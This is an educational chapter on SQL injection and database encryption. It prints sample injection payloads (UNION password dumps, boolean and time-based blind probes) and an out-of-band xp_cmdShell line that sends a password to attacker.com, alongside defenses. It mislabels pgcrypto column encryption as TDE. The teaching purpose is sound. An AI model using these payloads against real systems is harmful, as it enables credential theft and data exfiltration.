SQL Injection and Encryption

SQL injection and encryption represent two sides of database security. SQL injection is the most common attack vector against databases. Encryption is the primary defense when data is stolen.

This chapter provides a deep, practical understanding of both topics.

---

Learning Objectives

After completing this chapter, you will be able to:

• Understand how SQL injection attacks work.
• Identify all types of SQL injection.
• Write injection-proof queries using parameterized statements.
• Implement encryption at rest and in transit.
• Use Transparent Data Encryption and column-level encryption.
• Answer advanced security interview questions.

---

What is SQL Injection?

SQL Injection is a code injection technique where an attacker inserts malicious SQL statements into application queries through user input fields.

Root Cause

User input is concatenated directly into SQL queries without proper sanitization or parameterization.

Impact

• Data theft (read sensitive data).
• Data destruction (DROP, DELETE, TRUNCATE).
• Data modification (UPDATE).
• Privilege escalation.
• Remote code execution (in extreme cases).

---

Types of SQL Injection

1. In-Band SQL Injection (Classic)

The attacker uses the same communication channel to inject and retrieve results.

Error-Based

The attacker triggers database errors to leak information.

' OR 1=1; --
' UNION SELECT username, password FROM users; --

Union-Based

The attacker uses UNION to combine results from another query.

SELECT Name, Email FROM Users WHERE Id = 1
UNION SELECT Username, Password FROM Admins;

---

2. Blind SQL Injection

The attacker does not see error messages or direct results but infers information from the application’s behavior.

Boolean-Based

The application behaves differently based on whether a condition is true or false.

' OR (SELECT SUBSTRING(password,1,1) FROM admins WHERE id=1) = 'a' --

If true → page loads normally. If false → error or different page.

The attacker guesses the password character by character.

Time-Based

The attacker uses database sleep commands to infer information.

' OR IF((SELECT password FROM admins WHERE id=1) LIKE 'a%', SLEEP(5), 0) --

If the page takes 5 seconds to load → the first character is ‘a’.

---

3. Out-of-Band SQL Injection

The attacker uses a different channel (DNS, HTTP) to exfiltrate data.

' EXEC master..xp_cmdShell 'nslookup attacker.com?data=' + password --

This sends the password to the attacker’s DNS server.

---

SQL Injection Prevention

Method 1: Parameterized Queries (Strongest Defense)

#  VULNERABLE
name = request.form['name']
query = f"SELECT * FROM Users WHERE Name = '{name}'"

#  SAFE — Parameterized
cursor.execute("SELECT * FROM Users WHERE Name = %s", (name,))

The database receives the SQL template and the parameters separately. User input is always treated as data, never as code.

Method 2: Stored Procedures

Stored procedures can be safe if they use parameterized inputs.

CREATE PROCEDURE GetUser @Name NVARCHAR(100)
AS
BEGIN
    SELECT * FROM Users WHERE Name = @Name
END

Method 3: Input Validation + Whitelisting

import re

# Whitelist: only allow alphanumeric
if not re.match(r'^[a-zA-Z0-9_@.]+$', username):
    raise ValueError("Invalid characters")

Method 4: ORM Frameworks

ORMs (SQLAlchemy, Hibernate, Entity Framework) automatically use parameterized queries.

# SQLAlchemy
User.query.filter(User.name == request.form['name']).all()

Method 5: Least Privilege

-- The web app user should only have SELECT on specific tables
GRANT SELECT ON Users TO web_app_user;
-- NO: DROP, ALTER, CREATE permissions

Even if SQL injection succeeds, the attacker can only read users — not drop tables.

---

Defense in Depth

Layer	Defense
Application	Parameterized queries, input validation, ORM
Database	Least privilege, no DDL grants for app users
Network	WAF (Web Application Firewall), rate limiting
Monitoring	Detect anomalous queries, alert on suspicious patterns

---

Encryption at Rest

Transparent Data Encryption (TDE)

TDE encrypts the database files at the storage layer.

How It Works

1. The database encrypts data pages before writing to disk.
2. The database decrypts pages when reading from disk.
3. Encryption/decryption is transparent to the application.

Setup (PostgreSQL with pgcrypto)

-- Enable extension
CREATE EXTENSION pgcrypto;

-- Encrypt a column
UPDATE users SET credit_card = pgp_sym_encrypt('1234-5678-9012-3456', 'encryption_key');

-- Decrypt
SELECT pgp_sym_decrypt(credit_card, 'encryption_key') FROM users;

Setup (MySQL InnoDB)

[mysqld]
innodb_encrypt_tables = ON
innodb_encryption_threads = 4

---

Column-Level Encryption

Only specific columns containing sensitive data are encrypted.

Column	Encrypted?	Reason
Name	No	Not sensitive
Email	No	Needed for search
Password	Yes (hashed)	Must never be readable
Credit Card	Yes	PCI-DSS requirement
SSN	Yes	PII protection

---

Encryption in Transit

TLS for Database Connections

PostgreSQL

# postgresql.conf
ssl = on
ssl_cert_file = 'server.crt'
ssl_key_file = 'server.key'
ssl_ca_file = 'root.crt'

MySQL

[mysqld]
require_secure_transport = ON
ssl-ca = ca.pem
ssl-cert = server-cert.pem
ssl-key = server-key.pem

Connection Strings

# PostgreSQL with required TLS
conn = psycopg2.connect(
    host="db.example.com",
    sslmode="require"
)

# MySQL with TLS
import mysql.connector
conn = mysql.connector.connect(
    host="db.example.com",
    ssl_ca="ca.pem"
)

---

Key Management

Encryption is only as strong as the key management.

Practice	Why
Use a Key Management Service (KMS)	AWS KMS, Azure Key Vault, HashiCorp Vault
Rotate keys regularly	Limits damage if a key is compromised
Separate keys from data	Do not store keys in the same database
Use hardware security modules (HSM)	For high-security environments
Backup keys securely	Losing the key = losing the data

---

Common Mistakes

Mistake	Why It Fails
Client-side validation only	Attackers bypass client code easily
Escaping quotes (addslashes)	Not all injection uses quotes; context matters
Using blacklists	Attackers find ways around blocked keywords
Stored procedures without parameters	Dynamic SQL inside procedures is still vulnerable
SSL without verification	Man-in-the-middle attacks if certificates aren’t verified
Default passwords	Most breaches start with default credentials

---

Interview Deep Dive

---

Key Takeaways

• SQL injection occurs when user input is concatenated into SQL without proper separation.
• Parameterized queries are the only complete defense against SQL injection.
• Blind SQL injection infers data bit-by-bit through boolean or time-based responses.
• Defense in depth: parameterized queries + least privilege + WAF + monitoring.
• Encryption at rest protects data on disk (TDE, column-level).
• Encryption in transit protects data over the network (TLS/SSL).
• Key management is more important than the encryption algorithm itself.
• Never trust user input — validate, parameterize, and restrict at every layer.